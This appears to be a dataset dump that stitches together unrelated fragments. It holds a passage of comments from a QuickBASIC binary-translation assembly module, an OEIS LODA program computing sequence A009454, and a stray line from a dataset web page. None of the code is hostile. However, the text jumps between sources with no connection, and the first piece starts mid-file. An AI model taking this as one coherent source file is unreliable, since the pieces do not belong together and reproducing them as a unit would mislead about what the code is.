; code. in general, the translation is done by a routine called a
; "specific translator" which is geared toward the translation of a
; specific product's (or group of products) into our own. currently
; the following specific translators are defined:
; Xlat4045 QB 4.0 -> QB 4.5
; XlatGeneral general translation
;
;Specific Translators:
; the specific translator is called for each text table in the program.
; it should translate the text table and then return.
;
; the following guidelines should be followed when adding specific
; translators to the system:
; - the following registers and memory will be set up upon entry:
; es:si points to first opcode in text table
; - the offset of the translator data (in DS) set up by InitBinXlat
; is in oXlatData.
; - if an error which requires the load to be aborted occurs:
; - return ax == 0
; - set the word at [oXlatData] to a message number to display
; - if a warning error occurs:
; - return ax != 0
; - set the appropriate flag in the flag byte at [oXlatData]
; - if the translation succeeds:
; - return ax != 0
; - the specific translator does not need to save di and si.
;
;Notes:
; before calling any of the binary translation routines InitBinXlat
; should be called. InitBinXlat sets up internal data, and checks
; to see if translation is required.
;
; the main entrypoint in this module is BinaryXlat. BinaryLoad should
; call this routine if InitBinXlat says that binary translation is
; necessary (in other words, the format and revision bytes in the binary
; files header don't match).
;
; all of the information required by XlatTxtTbl is placed on the stack
; since the translator resides in both the SCAN and CP segments.
;
; the translation is performed with ForEachTxtTblInMrs with the routine
; XlatTxtTbl as the function to call. XlatTxtTbl calls the specific xlatr.
;
;*******************************************************************************
.xlist
include version.inc
include cw/cowdef.inc
IncludeOnce architec
includeOnce conint
includeOnce context
includeOnce opcodes
includeOnce optables
includeOnce pcode
includeOnce qbimsgs
includeOnce rtps
includeOnce txtint
includeOnce txtmgr
includeOnce ssint
.list
;WARNING: much of this code ASSUMES that SS and DS are the SAME! do not change
;WARNING: the assumes at the beginning of this file or BinarySav.ASM without
;WARNING: making appropriate changes to the source.
assumes DS,DATA
assumes SS,DATA
assumes ES,NOTHING
end
|
; A009454: Expansion of e.g.f. sin(log(1+x)).
; Submitted by Christian Krause
; 0,1,-1,1,0,-10,90,-730,6160,-55900,549900,-5864300,67610400,-839594600,11186357000,-159300557000,2416003824000,-38894192662000,662595375078000,-11911522255750000,225382826562400000
mov $1,1
mov $2,1
lpb $0
sub $0,1
sub $1,1
mov $4,$3
mul $3,$1
add $3,$2
mul $2,$1
sub $2,$4
lpe
mov $0,$3
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.